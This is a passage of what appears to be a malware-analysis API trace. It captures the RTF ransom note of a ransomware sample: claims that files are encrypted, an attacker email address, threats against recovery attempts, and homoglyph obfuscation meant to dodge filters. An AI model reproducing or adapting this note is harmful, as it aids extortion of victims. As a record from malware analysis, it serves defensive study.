\\F1\\LANG1049\\'F1\\F0\\LANG1033 H\\F1\\LANG1049\\'E0\\F0\\LANG1033 NG\\F1\\LANG1049\\'E5\\F0\\LANG1033 .\\PAR\r\n* PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 B\\F1\\LANG1049\\'E5\\F0\\LANG1033 SUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL TH\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 TT\\F1\\LANG1049\\'E5\\F0\\LANG1033 MPTS T\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 R \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S B\\F1\\LANG1049\\'F3\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 URS\\F1\\LANG1049\\'E5\\F0\\LANG1033 LF \\F1\\LANG1049\\'EE\\F0\\LANG1033 R USING THIRD P\\F1\\LANG1049\\'E0\\F0\\LANG1033 RT\\F1\\LANG1049\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\'EE\\F0\\LANG1033 LS \\F1\\LANG1049\\'F1\\'E0\\F0\\LANG1033 N R\\F1\\LANG1049\\'E5\\F0\\LANG1033 SULT IN IRR\\F1\\LANG1049\\'E5\\F0\\LANG1033 V\\F1\\LANG1049\\'EE\\'F1\\'E0\\F0\\LANG1033 BL\\F1\\LANG1049\\'E5\\F0\\LANG1033 L\\F1\\LANG1049\\'EE\\F0\\LANG1033 SS \\F1\\LANG1049\\'EE\\F0\\LANG1033 F \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 !\\B\\I0\\PAR\r\n\\PAR\r\nWH\\F1\\LANG1049\\'C0\\F0\\LANG1033 T D\\F1\\LANG1049\\'CE\\F0\\LANG1033 Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 U NEED T\\F1\\LANG1049\\'CE\\F0\\LANG1033 D\\F1\\LANG1049\\'CE\\F0\\LANG1033 ?\\PAR\r\n\\B0 FIRST \\F1\\LANG1049\\'EE\\F0\\LANG1033 F \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U H\\F1\\LANG1049\\'E0\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 US B\\F1\\LANG1049\\'F3\\F0\\LANG1033 \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\PAR\r\n\r\n\\PARD\\SL240\\SLMULT1\\F1\\LANG1049\\'CE\\F0\\LANG1033 UR FIRST \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\TAB \\B\\FS28 BILLWONG73@YAHOO.COM\\PAR\r\n\\B0\\F1\\FS24\\LANG1049\\'CE\\F0\\LANG1033 UR S\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 ND \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\TAB\\TAB\\B\\FS28 [EML2]\\PAR\r\n\\B0\\F1\\FS24\\LANG1049\\'CE\\F0\\LANG1033 UR THIRD \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL:\\TAB\\TAB\\B\\FS28 [EML3]\\CF1\\FS24\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\TX8378\\CF0\\B0\\PAR\r\n\r\n\\PARD\\SL240\\SLMULT1\\CF1\\UL\\B\\F1\\FS28\\LANG1049\\'C0\\F0\\LANG1033 TTENTI\\F1\\LANG1049\\'CE\\F0\\LANG1033 N!\\PAR\r\n\\ULNONE\\FS26 IF \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U W\\F1\\LANG1049\\'E0\\F0\\LANG1033 NT T\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\'F1\\'EE\\F0\\LANG1033 V\\F1\\LANG1049\\'E5\\F0\\LANG1033 R \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 US T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL \\F1\\LANG1049\\'E0\\F0\\LANG1033 DR\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E5\\F0\\LANG1033 S!\\PAR\r\nIT IS R\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 LL\\F1\\LANG1049\\'F3\\F0\\LANG1033 IMP\\F1\\LANG1049\\'EE\\F0\\LANG1033 RT\\F1\\LANG1049\\'E0\\F0\\LANG1033 NT B\\F1\\LANG1049\\'E5\\'F1\\'E0\\F0\\LANG1033 US\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 F D\\F1\\LANG1049\\'E5\\F0\\LANG1033 LIV\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PR\\F1\\LANG1049\\'EE\\F0\\LANG1033 BL\\F1\\LANG1049\\'E5\\F0\\LANG1033 MS WITH S\\F1\\LANG1049\\'EE\\F0\\LANG1033 M\\F1\\LANG1049\\'E5\\F0\\LANG1033 M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL S\\F1\\LANG1049\\'E5\\F0\\LANG1033 RVI\\F1\\LANG1049\\'F1\\'E5\\F0\\LANG1033 S!\\PAR\r\nPL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 B\\F1\\LANG1049\\'E5\\F0\\LANG1033 SUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 W\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LW\\F1\\LANG1049\\'E0\\'F3\\F0\\LANG1033 S IN T\\F1\\LANG1049\\'EE\\F0\\LANG1033 U\\F1\\LANG1049\\'F1\\F0\\LANG1033 H \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND R\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 D\\F1\\LANG1049\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 H\\F1\\LANG1049\\'E5\\F0\\LANG1033 LP \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U!\\PAR\r\nIF \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U WILL N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T R\\F1\\LANG1049\\'E5\\'F1\\'E5\\F0\\LANG1033 IV\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E0\\F0\\LANG1033 NSW\\F1\\LANG1049\\'E5\\F0\\LANG1033 R IN 24 H\\F1\\LANG1049\\'EE\\F0\\LANG1033 URS, PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR M\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E0\\F0\\LANG1033 G\\F1\\LANG1049\\'E5\\F0\\LANG1033 !\\PAR\r\n\\CF2\\FS28 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LW\\F1\\LANG1049\\'E0\\'F3\\F0\\LANG1033 S \\F1\\LANG1049\\'F1\\F0\\LANG1033 H\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 K SP\\F1\\LANG1049\\'C0\\F0\\LANG1033 M F\\F1\\LANG1049\\'EE\\F0\\LANG1033 LD\\F1\\LANG1049\\'E5\\F0\\LANG1033 R!\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\TX8378\\CF0\\B0\\FS26 * \\I WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'EE\\F0\\LANG1033 N ENGLISH \\F1\\LANG1049\\'EE\\F0\\LANG1033 R US\\F1\\LANG1049\\'E5\\F0\\LANG1033 PR\\F1\\LANG1049\\'EE\\F0\\LANG1033 F\\F1\\LANG1049\\'E5\\F0\\LANG1033 SSI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 L TR\\F1\\LANG1049\\'E0\\F0\\LANG1033 NSL\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 R\\I0\\PAR\r\n\\FS24\\PAR\r\n\\HIGHLIGHT3\\FS28 IN SUBJ\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 T LIN\\F1\\LANG1049\\'E5\\F0\\LANG1033 WRIT\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR P\\F1\\LANG1049\\'E5\\F0\\LANG1033 RS\\F1\\LANG1049\\'EE\\F0\\LANG1033 N\\F1\\LANG1049\\'E0\\F0\\LANG1033 L ID: \\B [KID]\\PAR\r\n\\HIGHLIGHT0\\PAR\r\nF\\F1\\LANG1049\\'EE\\F0\\LANG1033 R \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E0\\F0\\LANG1033 SSUR\\F1\\LANG1049\\'E0\\F0\\LANG1033 N\\F1\\LANG1049\\'F1\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U \\F1\\LANG1049\\'F1\\'E0\\F0\\LANG1033 N \\F1\\LANG1049\\'E0\\F0\\LANG1033 TT\\F1\\LANG1049\\'E0\\'F1\\F0\\LANG1033 H UP T\\F1\\LANG1049\\'EE\\F0\\LANG1033 3 SM\\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'E5\\F0\\LANG1033 D FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR M\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E0\\F0\\LANG1033 G\\F1\\LANG1049\\'E5\\F0\\LANG1033 . W\\F1\\LANG1049\\'E5\\F0\\LANG1033 WILL D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND S\\F1\\LANG1049\\'E5\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U D\\F1\\LANG1049\\'E5\\'F1\\F0\\LANG1033 R\\F1\\LANG1049\\'F3\\F0\\LANG1033 PT\\F1\\LANG1049\\'E5\\F0\\LANG1033 D FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S F\\F1\\LANG1049\\'EE\\F0\\LANG1033 R FR\\F1\\LANG1049\\'E5\\'E5\\F0\\LANG1033 . \\PAR\r\n\\I\\F1\\FS24\\LANG1049 * \\F0\\LANG1033 \\F1\\LANG1049 \\F0\\LANG1033 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T FIL\\F1\\LANG1049\\'E5\\F0\\LANG1033 S MUST N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T \\F1\\LANG1049\\'F1\\'EE\\F0\\LANG1033 NT\\F1\\LANG1049\\'E0\\F0\\LANG1033 IN \\F1\\LANG1049\\'E0\\F0\\LANG1033 N\\F1\\LANG1049\\'F3\\F0\\LANG1033 V\\F1\\LANG1049\\'E0\\F0\\LANG1033 LU\\F1\\LANG1049\\'E0\\F0\\LANG1033 BL\\F1\\LANG1049\\'E5\\F0\\LANG1033 INF\\F1\\LANG1049\\'EE\\F0\\LANG1033 RM\\F1\\LANG1049\\'E0\\F0\\LANG1033 TI\\F1\\LANG1049\\'EE\\F0\\LANG1033 N \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND TH\\F1\\LANG1049\\'E5\\F0\\LANG1033 IR T\\F1\\LANG1049\\'EE\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 L SIZ\\F1\\LANG1049\\'E5\\F0\\LANG1033 MUST B\\F1\\LANG1049\\'E5\\F0\\LANG1033 L\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 N 5MB. \\PAR\r\n\\I0\\PAR\r\n\\CF4\\FS26 PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 D\\F1\\LANG1049\\'EE\\F0\\LANG1033 N'T W\\F1\\LANG1049\\'EE\\F0\\LANG1033 RR\\F1\\LANG1049\\'F3\\F0\\LANG1033 !\\PAR\r\nB\\F1\\LANG1049\\'E5\\F0\\LANG1033 SUR\\F1\\LANG1049\\'E5\\F0\\LANG1033 TH\\F1\\LANG1049\\'E0\\F0\\LANG1033 T \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR D\\F1\\LANG1049\\'E0\\F0\\LANG1033 T\\F1\\LANG1049\\'E0\\F0\\LANG1033 \\F1\\LANG1049\\'F1\\'E0\\F0\\LANG1033 N B\\F1\\LANG1049\\'E5\\F0\\LANG1033 REST\\F1\\LANG1049\\'CE\\F0\\LANG1033 RED T\\F1\\LANG1049\\'CE\\F0\\LANG1033 D\\F1\\LANG1049\\'C0\\F0\\LANG1033 Y!\\PAR\r\nW\\F1\\LANG1049\\'E5\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 IN T\\F1\\LANG1049\\'EE\\F0\\LANG1033 U\\F1\\LANG1049\\'F1\\F0\\LANG1033 H 24/7 \\F1\\LANG1049\\'E0\\F0\\LANG1033 ND R\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 D\\F1\\LANG1049\\'F3\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 H\\F1\\LANG1049\\'E5\\F0\\LANG1033 LP \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U!\\PAR\r\nIF \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 U N\\F1\\LANG1049\\'EE\\F0\\LANG1033 T R\\F1\\LANG1049\\'E5\\'F1\\'E5\\F0\\LANG1033 IV\\F1\\LANG1049\\'E5\\F0\\LANG1033 D \\F1\\LANG1049\\'EE\\F0\\LANG1033 UR \\F1\\LANG1049\\'E0\\F0\\LANG1033 NSW\\F1\\LANG1049\\'E5\\F0\\LANG1033 R PL\\F1\\LANG1049\\'E5\\'E0\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 R\\F1\\LANG1049\\'E5\\F0\\LANG1033 S\\F1\\LANG1049\\'E5\\F0\\LANG1033 ND \\F1\\LANG1049\\'F3\\'EE\\F0\\LANG1033 UR M\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E0\\F0\\LANG1033 G\\F1\\LANG1049\\'E5\\F0\\LANG1033 T\\F1\\LANG1049\\'EE\\F0\\LANG1033 \\F1\\LANG1049\\'E0\\F0\\LANG1033 LL \\F1\\LANG1049\\'E5\\F0\\LANG1033 -M\\F1\\LANG1049\\'E0\\F0\\LANG1033 IL \\F1\\LANG1049\\'E0\\F0\\LANG1033 DR\\F1\\LANG1049\\'E5\\F0\\LANG1033 SS\\F1\\LANG1049\\'E5\\F0\\LANG1033 S!\\PAR\r\n\\CF0\\B0\\FS24\\PAR\r\n\\CF5\\B\\FS28 [RDM_STR]\\CF0\\F1\\FS32\\LANG1049\\PAR\r\n\r\n\\PARD\\SA200\\SL240\\SLMULT1\\PAR\r\n}\r\n") returned 0x36dd [0033.902] CharUpperBuffW (in: lpsz="[EML2]", cchLength=0x6 | out: lpsz="[EML2]") returned 0x6 [0033.902] CharUpperBuffW (in: lpsz="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 